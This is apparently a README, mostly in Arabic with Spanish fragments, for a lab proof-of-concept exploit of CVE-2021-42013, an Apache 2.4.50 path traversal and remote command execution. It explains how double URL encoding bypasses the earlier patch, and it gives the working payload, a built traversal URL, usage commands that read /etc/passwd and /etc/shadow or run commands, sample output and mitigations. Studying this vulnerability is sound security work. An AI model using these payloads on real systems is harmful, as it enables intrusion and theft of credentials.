
استغلال إثبات المفهوم لـ CVE-2021-42013، يوضح اجتياز المسار وتنفيذ الأوامر عن بعد على Apache 2.4.50 عبر تجاوز الترميز المزدوج لعنوان URL لتصحيح CVE-2021-41773.
للاستخدام فقط في بيئات خاضعة للرقابة ومملوكة. لا تستخدم ضد أنظمة بدون إذن.
تم تطوير PoC لإظهار CVE-2021-42013، الموجود في Apache HTTP Server 2.4.50.
هذا CVE هو تجاوز للتصحيح الذي أصدرته Apache لـ CVE-2021-41773. حاول الإصدار 2.4.50 إصلاح تجاوز المسار السابق بإضافة تحقق يرفض التسلسلات .%2e و %2e.. ومع ذلك، كان هذا التحقق غير كافٍ: لم يأخذ في الاعتبار أنه يمكن الحصول على نفس النتيجة باستخدام تشفير URL مزدوج، مما يترك نفس سطح الهجوم مكشوفًا.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| الإصدار المتأثر | Apache 2.4.49 | Apache 2.4.50 |
| الترميز المستخدم | .%2e/ | %%32%65%%32%65/ |
| الآلية | ترميز مفرد | ترميز مزدوج (تجاوز التصحيح) |
| إمكانية RCE | نعم (مع mod_cgi) | نعم (مع mod_cgi) |
| الإصدار المُصحح | 2.4.50 (تصحيح غير مكتمل) | 2.4.51 |
أضاف تصحيح Apache 2.4.50 تحققًا في ap_normalize_path() يبحث حرفيًا عن التسلسلات .%2e و %2e. في مسار الطلب. إذا وجدها، يرفض الطلب برمز 400 أو 403.
المشكلة: تم تنفيذ هذا التحقق على السلسلة قبل مرور ثاني لفك تشفير URL. إذا كان الحمولة مشفرة بشكل مزدوج، لم يجد التحقق التسلسل المحظور لأنه لم يتم فك تشفيره بعد — وعندما تم فك تشفيره أخيرًا لحل مسار نظام الملفات، كان ../ موجودًا بالفعل وحدث التجاوز.
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
التصحيح الفعلي جاء في الإصدار 2.4.51، حيث أعادت Apache كتابة منطق التطبيع لحل المسار بالكامل قبل تطبيق أي تحقق أمني.
%%32%65 هو التمثيل المشفر بشكل مزدوج لـ .:
. → %2e (الترميز القياسي)
% → %25 (ترميز الرمز %)
2 → %32 (ترميز الحرف '2')
e → %65 (ترميز الحرف 'e')
إذن %2e مع % المشفر والأحرف السداسية العشرية المشفرة يصبح %%32%65.
فك تشفير أول لـ %%32%65 ينتج %2e. وفك تشفير ثانٍ ينتج ..
| الشرط | التفاصيل |
|---|---|
| إصدار Apache | بالضبط 2.4.50 |
| توجيه الوصول | Require all granted في الدليل المكشوف |
| وحدة CGI | mod_cgi مفعل (فقط لـ RCE) |
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
أو يدويًا مع Apache 2.4.50 وهذا الإعداد في httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 أو أحدث.Require all denied كقيمة افتراضية.mod_cgi إذا لم يكن ضروريًا.تم تطوير PoC لأغراض تعليمية لمحفظة الأمن الهجومي.
| الوسيط | مطلوب | الوصف |
|---|
--target | نعم | رابط الخادم الأساسي (مثال: http://localhost:8080) |
--mode | نعم | traversal لقراءة الملفات، rce لتنفيذ الأوامر |
--cmd | لا | الأمر المراد تنفيذه في وضع rce (الافتراضي: id) |